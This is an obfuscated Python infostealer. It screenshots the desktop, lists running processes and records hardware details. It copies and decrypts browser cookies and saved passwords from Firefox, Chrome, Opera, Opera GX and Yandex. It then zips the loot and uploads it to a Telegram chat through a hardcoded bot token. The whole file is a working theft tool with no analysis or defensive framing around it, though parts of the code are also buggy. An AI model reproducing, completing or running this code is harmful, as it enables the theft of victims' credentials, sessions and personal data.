P='mozila'
G='w'
F=open
E=Exception
from PIL import Image
import platform as M
from colorama import Fore as H,Back,Style
import base64,json,pyautogui as Q,base64
from cryptography.hazmat.primitives.ciphers import Cipher,algorithms,modes
from cryptography.hazmat.backends import default_backend
import win32crypt as K
from Cryptodome.Cipher import AES
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os as B,shutil as N,sqlite3 as O,psutil as R,requests as S,telebot as T,zipfile as U,io,PIL,cpuinfo as V,GPUtil as W
from colorama import init
init()
def f():return f"""{H.GREEN}///////////////////////////////////////////////////////////
/ /
/ oooooooooo nnnnnnnnnnn /
/ oCCCCCCCCo RRRRRRR 1 PPPPPPPP nTTTTTTTTTTTn /
/ oCoooooooo R R 1 P P nnnnnTnnnnn /
/ oCo R R 1 P P nTn /
/ oCo RRRRRR 1 PPPPPPPP nTn /
/ oCo R R 1 P nTn /
/ oCoooooooo R R 1 P nTn /
/ oCCCCCCCCo R R 1 P nTn /
/ oooooooooo nnn /
/ /
///////////////////////////////////////////////////////////
////////////////////////////{H.YELLOW}MENU{H.GREEN}///////////////////////////
///////////////////////////////////////////////////////////{H.RESET}"""
g=B.getlogin()
X='5822107054:AAFunzpthf3TzxCzGbBkcWWRyT99d94l6rI'
A=B.path.expanduser('~')
Y=T.TeleBot(X)
try:B.mkdir(f"{A}/.tmp")
except E:pass
try:B.mkdir(f"{A}/.tmp/cookies")
except E:pass
try:B.mkdir(f"{A}/.tmp/AutoFills")
except E:pass
def Z():B=S.get('https://api.myip.com/');A=B.json();return f"{A['cc']}:{A['ip']}"
a=Z()
I=f"{A}/.tmp/{a}.zip"
C=U.ZipFile(I,G)
h=Q.screenshot(f"{A}/.tmp/screen.png")
b=f"{A}/.tmp/screen.png"
class c:
def init(D):
with F(f"{A}/.tmp/processes.txt",G,encoding='UTF-8')as B:
for C in R.process_iter():B.writelines(f"{str(C)}\n")
def findAndSend(Q,OO0OO000O0O0OO00O,O0O0O000O0OOO000O,O0OO0OO000O0O0OO0):
R=O0OO0OO000O0O0OO0;J=OO0OO000O0O0OO00O;D=f"{A}/{J}";global I
try:
for S in B.listdir(f"{D}"):
T=f"{R}-{S}";H=f"{D}/{S}";K=f"{A}/.tmp/cookies/{T}.txt";L=f"{A}/.tmp/{T}.sqlite";U=f"{A}/.tmp/AutoFills/"
try:
Y=[f"{H}/cookies.sqlite",f"{H}/Network/Cookies",f"{H}/Cookies"]
for V in Y:
if B.path.exists(V):
N.copy2(V,L)
with F(K,G)as Z:
a=O.connect(L);W=a.cursor();W.execute(O0O0O000O0OOO000O)
for(b,c,J,d,e,f,M)in W.fetchall():
if R!=P:g=str(Q.decrypt(M,D)).replace('b','').replace("'",'');M=g
Z.write(f"{b}\t{bool(c)}\t{J}\t{bool(d)}\t{e}\t{f}\t{M}\n")
h=B.path.getsize(K)
if h<1000:0
else:C.write(K)
C.write(U);B.remove(L)
Q.get_pass(f"{H}/Login Data",U,D)
except E as X:print(X);pass
except E as X:pass
def get_spec(K):
D=M.uname();I=W.getGPUs();J=V.get_cpu_info();E=f"{A}/.tmp/computer_info.txt"
with F(E,G)as B:
B.write(f"System: {D.system}\n");B.write(f"Node Name: {D.node}\n")
for H in I:B.write(f"GPU: {H.id} {H.name}")
B.write(f"Release: {D.release}\n");B.write(f"Version: {D.version}\n");B.write(f"Machine: {D.machine}\n");B.write(f"Processor: {J['brand_raw']}\n")
C.write(E);C.write(b)
def decrypt(J,O00OO0OOOOO0O00OO,O0O0O000O0O000O0O):
C=O00OO0OOOOO0O00OO;A=None;B=A
with F(f"{O0O0O000O0O000O0O}/Local State",'r')as H:B=json.loads(H.read())['os_crypt']['encrypted_key']
B=base64.b64decode(B);B=B[5:];D=K.CryptUnprotectData(B,A,A,A,0)[1]
try:I=AES.new(D,AES.MODE_GCM,nonce=C[3:3+12]);G=I.decrypt_and_verify(C[3+12:-16],C[-16:]);return G
except E as L:G=K.CryptUnprotectData(C,A,A,A,0)[1].decode('utf-8')or C or 0;return D
def get_pass(K,O00000O00000OOOO0,O00O00OOO00O0OOO0,O0OOO0OOOO00000OO):
D=f"{O00O00OOO00O0OOO0}/AutoFills/passwords"
if not B.path.exists(f"{D}"):return
N.copy2(O00000O00000OOOO0,f"{D}");H=O.connect(f"{D}");I=H.cursor();I.execute('SELECT origin_url, username_value, password_value FROM logins');J=I.fetchall()
with F(f"{D}.txt",G)as A:
for E in J:A.write(f"----------\n");A.write(f"url : {E[0]}\n");A.write(f"login : {E[1]}\n");A.write(f"pass : {E[2]}\n");A.write(f"----------\n")
C.write(A)
H.close()
D=c()
J='SELECT host_key, samesite, path, is_Secure, expires_utc, name, encrypted_value FROM cookies'
d='SELECT host, sameSite, path, isSecure, expiry, name, value FROM moz_cookies'
D.findAndSend('AppData\\Roaming\\Mozilla\\Firefox\\Profiles',d,P)
D.findAndSend('AppData/Local/Google/Chrome/User Data',J,'chrome')
D.findAndSend('AppData\\Roaming\\Opera Software\\Opera Stable',J,'Opera')
D.findAndSend('AppData\\Roaming\\Opera Software\\Opera GX Stable',J,'Opera-Gx')
D.findAndSend(f"AppData\\Local\\Yandex\\YandexBrowser\\User Data",J,'yandex')
D.get_spec()
C.close()
with F(I,'rb')as e:L=io.BytesIO(e.read());L.name=B.path.basename(I);Y.send_document(-998721179,L)